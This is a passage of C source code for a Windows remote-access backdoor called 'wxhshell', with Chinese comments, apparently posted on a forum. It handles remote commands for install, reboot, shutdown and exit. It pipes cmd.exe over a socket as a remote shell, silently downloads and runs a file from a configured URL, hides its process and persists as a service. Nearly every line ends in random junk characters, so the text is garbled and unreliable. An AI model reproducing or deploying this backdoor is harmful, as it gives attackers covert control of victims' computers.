      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \T\b NbPn  
    break; #."Hh<C  
  } 3` #6ACF  
  // 安装 (lGaPMEU}  
  case 'i': { 6sE{{,OGB  
    if(Install()) !p[9{U->o;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g(Io/hyj  
    else E^rbcGJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Me5ft w  
    break; sj8~?O  
    } Ht-t1q  
  // 卸载 [b/k3&O'  
  case 'r': { tBm_YP[  
    if(Uninstall()) i:cXwQG}B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v NeCpf  
    else .!6>oL/iF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tU^kQR!  
    break; \y88d4zX  
    } a3VM '  
  // 显示 wxhshell 所在路径 8NU`^L:1  
  case 'p': { $rhgzpZ!X_  
    char svExeFile[MAX_PATH]; uu/+.9  
    strcpy(svExeFile,"\n\r"); d @*GUmJ  
      strcat(svExeFile,ExeFile); [F*4EGB  
        send(wsh,svExeFile,strlen(svExeFile),0); O4g+D#Lu  
    break; s (0*  
    } 1O!/g  
  // 重启 90# ;?#  
  case 'b': { I"t(%2*q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v @O&t4  
    if(Boot(REBOOT)) V=X:=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % ',F  
    else { qA:#iJ8w  
    closesocket(wsh); O0:)X)b  
    ExitThread(0); v$)q($}p  
    } A+&xMM2Wj  
    break; 2TES>}  
    } &I({T`=  
  // 关机 sjM;s{gy  
  case 'd': { 8`]=C~ G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;),BW g  
    if(Boot(SHUTDOWN)) a2f^x@0k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >z%Q>(F  
    else { ^@"H1  
    closesocket(wsh); m rJQ#  
    ExitThread(0); +@Ad1fJi  
    } Pa^A$fy\  
    break; |w*R8ro_  
    } ph}j[Co  
  // 获取shell 8$c bVMjh  
  case 's': { kwud?2E  
    CmdShell(wsh); a6h>=uT [  
    closesocket(wsh); e2+BWKaU  
    ExitThread(0); =X!IH d0  
    break; <|*'O5B  
  }  x-'~Bu  
  // 退出 #-"VS-.<  
  case 'x': { tj*y)28-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;oNhEB:F  
    CloseIt(wsh); E_1="&p  
    break; TS"D]Txs  
    } {3Y )rY!z  
  // 离开 ]}mxY vu_i  
  case 'q': { GI7=x h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4<X!<]3]  
    closesocket(wsh); |3{&@7  
    WSACleanup(); \@~UDP]7  
    exit(1); (5 <^p&  
    break; K?4FT$9G  
        } QJW`}`R  
  } M|[ZpM+  
  } W><dYy=z5  
G2#d $  
  // 提示信息 Y=*P 8pg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QR> Y%4 ;h  
} >qo~d?+  
  } 7 yt=]1  
m7%C#+67  
  return; ` r']^ ,  
} Ao7`G':  
aVe/ gE  
// shell模块句柄 b}G24{  
int CmdShell(SOCKET sock) 3I|3wQ&#(  
{ }sxn72,  
STARTUPINFO si; {C^@Q"I  
ZeroMemory(&si,sizeof(si)); ; U`X 6d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >~\w+^2f8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _}mK!_`  
PROCESS_INFORMATION ProcessInfo; *fO{ a  
char cmdline[]="cmd"; t=R6mjb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6S.~s6o,  
  return 0; =3 +l  
} 'ZQWYr9R  
tVqmn  
// 自身启动模式 X8<2L 2:  
int StartFromService(void) #)`A7 $/,  
{ lM#A3/=K  
typedef struct O}#yijU3e  
{ &s)0z)mR8&  
  DWORD ExitStatus; ]Y.deVw3i  
  DWORD PebBaseAddress; fA! 6sB  
  DWORD AffinityMask; q6wr=OWD  
  DWORD BasePriority; 15zrrU~D  
  ULONG UniqueProcessId; y_}SK6{  
  ULONG InheritedFromUniqueProcessId; o0p T6N)  
}   PROCESS_BASIC_INFORMATION; *o' 4,+=am  
ecX/K.8l  
PROCNTQSIP NtQueryInformationProcess; !]S=z^"<  
-qebQv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l SkEuN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x7RdZC  
hxC!+ArVe  
  HANDLE             hProcess; M0-,M/]l  
  PROCESS_BASIC_INFORMATION pbi; (\dK4JJ  
2D([Z-<i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BN@,/m9OQ%  
  if(NULL == hInst ) return 0; ;t]|15]u  
?A7Yk4Y.?N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c[0oh.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -)<m S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >Jm"2U}lZW  
4?/7 bc  
  if (!NtQueryInformationProcess) return 0; aEx(rLd+  
idJh^YD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "]t>ZT:OJ  
  if(!hProcess) return 0; IX?ZbtdX$`  
}`9`JmNM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C$#W{2x%6  
16@);Ot  
  CloseHandle(hProcess); w}M3x^9@  
^C9x.4I$)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G5{Ot>;*%  
if(hProcess==NULL) return 0; oA~4p(  
(3md:r<-  
HMODULE hMod; P 4;{jG  
char procName[255]; A1*4*  
unsigned long cbNeeded; agaq`^[(P  
7CrpUh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o@d y:AR  
H/+{e,SW"  
  CloseHandle(hProcess); wq4nMY:#  
'1]7zWbW  
if(strstr(procName,"services")) return 1; // 以服务启动 _2jw,WKr  
z};ZxN  
  return 0; // 注册表启动 2z98 3^  
} " OGdE_E  
vSM_]fn  
// 主模块 e`sw*m5  
int StartWxhshell(LPSTR lpCmdLine) }f}IA\8]  
{ .^XH uN&  
  SOCKET wsl; ';/84j-3F  
BOOL val=TRUE; _ K/swT{f  
  int port=0; O}gX{_|6  
  struct sockaddr_in door; i=8UBryr'e  
-3mgza  
  if(wscfg.ws_autoins) Install(); rR!U;  
r]t )x*  
port=atoi(lpCmdLine); a{`"68  
s#lto0b"8  
if(port<=0) port=wscfg.ws_port; F14(;'Az  
m1e b8yX  
  WSADATA data; 9bn2UiJ k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;,0lUcV  
\n@V-b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9Q@*0-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S?,_<GD)w  
  door.sin_family = AF_INET; "2mFC!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); feCqbWq:  
  door.sin_port = htons(port); @\~tHJ?hQd  
+ v[O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?`A9(#ySM  
closesocket(wsl); :^G%57NX  
return 1; 0VIZ=-e  
} 6+ 8mV8{-8  
\/,g VT  
  if(listen(wsl,2) == INVALID_SOCKET) { BPWnck=%  
closesocket(wsl); d_iY&-gq/  
return 1; J v<$*TVS0  
} Ofm5[q=  
  Wxhshell(wsl); >h[(w  
  WSACleanup(); sA\L7`2H  
M@O2 WB1ws  
return 0; Ea4 * o  
|yAK@ Hl'  
} 9- G b"hr  
B+Q+0tw*i  
// 以NT服务方式启动 =xBT>h;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hwDXm9  
{ Yzd2G,kZ=  
DWORD   status = 0; Y*\6o7  
  DWORD   specificError = 0xfffffff; =yh3Nd:u  
( 2zeG`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &A"e,h(^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s$3`X(Pn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cno;>[$  
  serviceStatus.dwWin32ExitCode     = 0; u 6(GM  
  serviceStatus.dwServiceSpecificExitCode = 0; 6+Jry@  
  serviceStatus.dwCheckPoint       = 0; V5X i '=  
  serviceStatus.dwWaitHint       = 0; =z-5  
 0dh#/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A|C_np^z2  
  if (hServiceStatusHandle==0) return; M*H< n*  
E&9!1!B  
status = GetLastError(); leIy|K>\m  
  if (status!=NO_ERROR) ^5>du~d  
{ " <*nZ~nE)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WQ.i$ID/  
    serviceStatus.dwCheckPoint       = 0; 9ET/I$n  
    serviceStatus.dwWaitHint       = 0; ixzTJ]yu  
    serviceStatus.dwWin32ExitCode     = status; ;ct)H* y  
    serviceStatus.dwServiceSpecificExitCode = specificError; -? Tz.y&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3]_qj*V  
    return; 'f6PjI  
  } +l.|kkZ?  
` #=fA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v D&Kae<  
  serviceStatus.dwCheckPoint       = 0; k)i"tpw  
  serviceStatus.dwWaitHint       = 0; hU)'OKe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7g-$oO  
} lDlj+fK  
FbBX}n  
// 处理NT服务事件,比如:启动、停止 |f3U%2@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [%t3[p<)O  
{ 3!bK d2"  
switch(fdwControl) u&tFb]1@)  
{ +:!ScG*  
case SERVICE_CONTROL_STOP: wH#-mu#Yl<  
  serviceStatus.dwWin32ExitCode = 0; Tr$i= M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e^Aa!  
  serviceStatus.dwCheckPoint   = 0; %GS\1 Q%  
  serviceStatus.dwWaitHint     = 0; yFi6jN#~  
  { & L3UlL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t5n2eOy~T  
  } U81;7L8  
  return; @?Fx  
case SERVICE_CONTROL_PAUSE: aSTFcz"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ny B&uf  
  break; y3IA '  
case SERVICE_CONTROL_CONTINUE: RE*WM3QK~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o|+E+l9\  
  break; FXeV6zfrE  
case SERVICE_CONTROL_INTERROGATE: =Iy/cHK  
  break; cP, ;Qbe  
}; PlF!cr7:4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZX h~ 79  
}  A<2I!  
| yS5[?.`  
// 标准应用程序主函数 }U(\~ =D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ou? r {$(b  
{ Ogd8!'\  
;C+cE#   
// 获取操作系统版本 e/ WBgiLw  
OsIsNt=GetOsVer(); U|9U(il  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [4ee <J  
6TY){P w  
  // 从命令行安装 -!i;7[N  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~~ U<  
6#fOCr;f7  
  // 下载执行文件 ,zG<7~m  
if(wscfg.ws_downexe) { 8znj~7}#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z2.*#xTZn  
  WinExec(wscfg.ws_filenam,SW_HIDE); J &{qppN  
} _IC,9bbg  
'xQna+%h  
if(!OsIsNt) { @T5YsX]qb7  
// 如果时win9x,隐藏进程并且设置为注册表启动 sE-x"c  
HideProc(); xcw%RUC-  
StartWxhshell(lpCmdLine); 9^(HXH_f  
} IvFR <n  
else //~POm  
  if(StartFromService()) 9jqO/_7R+  
  // 以服务方式启动 6aRGG+H  
  StartServiceCtrlDispatcher(DispatchTable); BSOjyy1f  
else ]c5DOv&  
  // 普通方式启动 B'<!k7Ewy  
  StartWxhshell(lpCmdLine); \y[Bu^tk  
~."!l'a  
return 0; lfXH7jL2~  
}
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只看该作者 1 发表于: 2006-10-10
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